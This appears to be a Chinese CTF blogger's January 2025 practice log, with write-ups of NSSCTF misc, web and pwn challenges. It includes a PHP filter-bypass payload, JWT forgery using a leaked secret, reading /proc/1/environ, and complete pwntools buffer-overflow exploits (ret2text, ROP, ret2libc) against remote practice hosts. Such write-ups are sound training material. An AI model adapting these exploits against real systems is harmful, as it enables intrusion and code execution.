贰零贰伍年壹月刷题月记


说在前面

新年快乐鸭~~~

Misc

NSSCTF [羊城杯 2023 决赛] easy00aes

下载下来一个 png 文件, 在文件末尾处可以发现一个 zip 文件。

提取出来解压,发现有密码。

注意到文件名很像被 Base64 编码过的,解码即可得到压缩包密码:asddsa

解压可以得到 flag.jpg ( 实际为 png )和藏了零宽字符隐写的文本。

零宽字符藏了 AES 的 key :adsadwadsadad

png 有宽高隐写,藏了密文:1eu4+X0rAE79+rZQBxhAG7t85wcd20u0VfupQJx1H0Hm6HVnHQoLmW0M9D9i/yo9

( 这里 0O 可能看不出,解密的时候多试几遍即可 )

由于 key 只有 13 位,选择用 00 补齐。

解密即可。

NSSCTF [西湖论剑 2022] mp3

常规套题

下载下来一个 mp3 文件,010 打开可以发现藏在文件尾部的 png 文件。

提取出来:

一眼鉴定为隐写藏了文件,stegsolver 随便选一个通道看一下:

zip 压缩包, 提取出来会发现有密码。

没有其他的信息,就回头研究一下 mp3 文件。

频谱图没有猫腻,盲狙一手 MP3stego,没有密码,提取出来:

1
8750d5109208213f

回去解压,得到一段类似 Jsfuck 的玩意:

1
a=~[];a={___:++a,aaaa:(![]+"")[a],__a:++a,a_a_:(![]+"")[a],_a_:++a,a_aa:({}+"")[a],aa_a:(a[a]+"")[a],_aa:++a,aaa_:(!""+"")[a],a__:++a,a_a:++a,aa__:({}+"")[a],aa_:++a,aaa:++a,a___:++a,a__a:++a};a.a_=(a.a_=a+"")[a.a_a]+(a._a=a.a_[a.__a])+(a.aa=(a.a+"")[a.__a])+((!a)+"")[a._aa]+(a.__=a.a_[a.aa_])+(a.a=(!""+"")[a.__a])+(a._=(!""+"")[a._a_])+a.a_[a.a_a]+a.__+a._a+a.a;a.aa=a.a+(!""+"")[a._aa]+a.__+a._+a.a+a.aa;a.a=(a.___)[a.a_][a.a_];a.a(a.a(a.aa+"\""+a.a_a_+(![]+"")[a._a_]+a.aaa_+"\\"+a.__a+a.aa_+a._a_+a.__+"(\\\"\\"+a.__a+a.___+a.a__+"\\"+a.__a+a.___+a.__a+"\\"+a.__a+a._a_+a._aa+"\\"+a.__a+a.___+a._aa+"\\"+a.__a+a._a_+a.a__+"\\"+a.__a+a.___+a.aa_+"{"+a.aaaa+a.a___+a.___+a.a__a+a.aaa+a._a_+a.a_a+a.aaa+a.aa_a+a.aa_+a.a__a+a.a__a+a.aa_a+a.aaa+a.aaaa+a.aa_a+a.a_aa+a.a_a_+a.aaa+a.aaa_+a.a__a+a.aaa+a.a_a_+a.__a+a.a_a+a.aa__+a.a__+a.aaaa+a.a__a+a.a__+a.a_aa+a.a__+"}\\\"\\"+a.a__+a.___+");"+"\"")())();

运行一下即可:

DASCTF{f8097257d699d7fdba7e97a15c4f94b4}


Web

NSSCTF [GHCTF 2024 新生赛] 理想国

题目给了一个 swagger 的 api 接口,召唤 Swagger UI 帮我审计:

先利用这个 api 注册一个用户登陆进去看看。

cookie 一眼 JWT ,先记在小本本上。

利用 search api 搜刮 flag ,但是常见位置都没有。

读环境变量呗:

解 1 :

两个信息:

  1. JWT 的 Secret key 泄露了: B3@uTy_L1es_IN_7he_EyEs_0f_Th3_BEh0ld3r

  2. 题目挂在 /app 目录下。

从响应包里得知题目是 flask ,访问 /app/app.py 得到源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
import json
from flask import Flask, request, jsonify, send_file, render_template_string
import jwt
import requests
from functools import wraps
from datetime import datetime
import os

app = Flask(__name__)
app.config['TEMPLATES_RELOAD'] = True
app.config['SECRET_KEY'] = os.environ.get('SECRET_KEY')
current_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')

response0 = {'code': 0, 'message': 'failed', 'result': None}
response1 = {'code': 1, 'message': 'success', 'result': current_time}
response2 = {'code': 2, 'message': 'Invalid request parameters', 'result': None}

def auth(func):
@wraps(func)
def decorated(*args, **kwargs):
token = request.cookies.get('token')
if not token:
return 'Invalid token', 401
try:
payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
if payload['username'] == User.username and payload['password'] == User.password:
return func(*args, **kwargs)
else:
return 'Invalid token', 401
except:
return 'Something error?', 500
return decorated

def check(func):
@wraps(func)
def decorated(*args, **kwargs):
token = request.cookies.get('token')
if not token:
return 'Invalid token', 401
try:
payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
if payload['username'] == "Plato" and payload['password'] == "ideal_state":
return func(*args, **kwargs)
else:
return 'You are not a sage. You cannot enter the ideal state.', 401
except:
return 'Something error?', 500
return decorated

@app.route('/', methods=['GET'])
def index():
return send_file('api-docs.json', mimetype='application/json;charset=utf-8')

@app.route('/enterIdealState', methods=['GET'])
@check
def getflag():
flag = os.popen("/readflag").read()
return flag

@app.route('/api-base/v0/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.json['username']
if username == "Plato":
return 'Your wisdom is not sufficient to be called a sage.', 401
password = request.json['password']
User.setUser(username, password)
token = jwt.encode({'username': username, 'password': password}, app.config['SECRET_KEY'], algorithm='HS256')
User.setToken(token)
return jsonify(response1)
return jsonify(response2), 400

@app.route('/api-base/v0/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.json['username']
password = request.json['password']
try:
token = User.token
payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
if payload['username'] == username and payload['password'] == password:
response = jsonify(response1)
response.set_cookie('token', token)
return response
else:
return jsonify(response0), 401
except jwt.ExpiredSignatureError:
return 'Invalid token', 401
except jwt.InvalidTokenError:
return 'Invalid token', 401
return jsonify(response2), 400

@app.route('/api-base/v0/logout')
def logout():
response = jsonify({'message': 'Logout successful!'})
response.delete_cookie('token')
return response

@app.route('/api-base/v0/search', methods=['POST', 'GET'])
@auth
def api():
if request.args.get('file'):
try:
with open(request.args.get('file'), 'r') as file:
data = file.read()
return render_template_string(data)

except FileNotFoundError:
return 'File not found', 404
except jwt.ExpiredSignatureError:
return 'Invalid token', 401
except jwt.InvalidTokenError:
return 'Invalid token', 401
except Exception:
return 'something error?', 500
else:
return jsonify(response2)

class MemUser:
def setUser(self, username, password):
self.username = username
self.password = password

def setToken(self, token):
self.token = token

def __init__(self):
self.username = "admin"
self.password = "password"
self.token = jwt.encode({'username': self.username, 'password': self.password}, app.config['SECRET_KEY'], algorithm='HS256')

if __name__ == '__main__':
User = MemUser()
app.run(host='0.0.0.0', port=8080)

审计,发现用特定用户访问 /enterIdealState 路由可以得到 flag 。

简单的 cookie 伪造,利用之前得到的 Secret key 即可。

解 2 :

其实读 /proc/1/environ 就可以了。

NSSCTF{0bff05c6-c571-4113-a7fa-8bc6bb473510}

NSSCTF [NCTF 2018]Easy_Audit

给了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
highlight_file(__FILE__);
error_reporting(0);
if($_REQUEST){
foreach ($_REQUEST as $key => $value) {
if(preg_match('/[a-zA-Z]/i', $value)) die('waf..');
}
}

if($_SERVER){
if(preg_match('/yulige|flag|nctf/i', $_SERVER['QUERY_STRING'])) die('waf..');
}

if(isset($_GET['yulige'])){
if(!(substr($_GET['yulige'], 32) === md5($_GET['yulige']))){ //日爆md5!!!!!!
die('waf..');
}else{
if(preg_match('/nctfisfun$/', $_GET['nctf']) && $_GET['nctf'] !== 'nctfisfun'){
$getflag = file_get_contents($_GET['flag']);
}
if(isset($getflag) && $getflag === 'ccc_liubi'){
include 'flag.php';
echo $flag;
}else die('waf..');
}
}

?>

一眼考 php 特性。

第一层 if($_REQUEST) 的判断可以利用 php GETPOST 同时传参,优先解析 POST 的参数的特性 bypass .

第二层 if($_SERVER) 的判断可以利用 $_SERVER['QUERY_STRING'] 返回的是未经过 URL 解码的内容 bypass .

第三层 if(!(substr($_GET['yulige'], 32) === md5($_GET['yulige']))) 数组绕过即可 .

第四层 利用 data:// 伪协议传文本过去。

payload:
GET : yulig%65[]=1&nct%66=nct%66isfun%0a&fla%67=data://text/plain,ccc_liubi
POST : yulige=0&nctf=0&flag=0

Pwn

NSSCTF [GFCTF 2021] where_is_shell

麻了,$0 还能这样藏的😅

plt 里给了 system , main 里存在栈溢出 , tips 在 opcode 里藏了个 $0 也即 /bin/sh

ROPgadget 可以找出来控制 rdi 的 gadget , 再找个 ret 对齐一下 .

凑一下就出来了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
from LibcSearcher import *

context(log_level = 'Debug', arch = 'amd64', os = 'linux')

# io = process('./shell')
io = remote('node4.anna.nssctf.cn', 28277)

sys_plt = 0x400430
bin_sh = 0x400541
pop_rdi_ret = 0x4005e3
ret = 0x400416

offset = 24

payload = flat([b'A' * offset, ret, pop_rdi_ret, bin_sh, sys_plt])

io.sendlineafter('it?', payload)

io.interactive()

NSSCTF{47c01ec2-2d70-492a-bd96-963f26effcc0}

NSSCTF [NSSCTF 2022 Spring Recruit] R3m4ke?

最简单的 ret2text .

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
from LibcSearcher import *

context(log_level = 'Debug', arch = 'amd64', os = 'linux')

# io = process('./r3m4ke1t')
io = remote('node4.anna.nssctf.cn', 28423)

backdoor_addr = 0x400730
ret = 0x40057e

offset = 40

payload = flat([b'A' * offset, backdoor_addr])

io.sendlineafter('started>', payload)

io.interactive()

NSSCTF [LitCTF 2023] 狠狠的溢出涅~

过于标准的 ret2libc .

要点就是老生常谈的 strlen 可以被 \x00 绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
from LibcSearcher import *

context(log_level = 'Debug', arch = 'amd64', os = 'linux')

# io = process('./pwn4')
io = remote('node4.anna.nssctf.cn', 28027)
elf = ELF('./pwn4')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
start = elf.symbols['_start']
ret = 0x400556
rdi = 0x4007d3

offset1 = 0x67


leak = flat([b'\x00', b'A' * offset1, ret, rdi, puts_got, puts_plt, start])
io.sendlineafter("Leave your message:\n", leak)


puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print(hex(puts_addr))


libc = LibcSearcher('puts', puts_addr)
libc_base_addr = puts_addr - libc.dump('puts')
system_addr = libc_base_addr + libc.dump('system')
binsh_addr = libc_base_addr + libc.dump('str_bin_sh')


payload = flat([b'\x00', b'A' * offset1, p64(ret), p64(rdi), p64(binsh_addr), p64(system_addr)])
io.sendlineafter('Leave your message:\n', payload)

io.interactive()

NSSCTF{u_r_master_of_stackoverflow_and_intoverflow}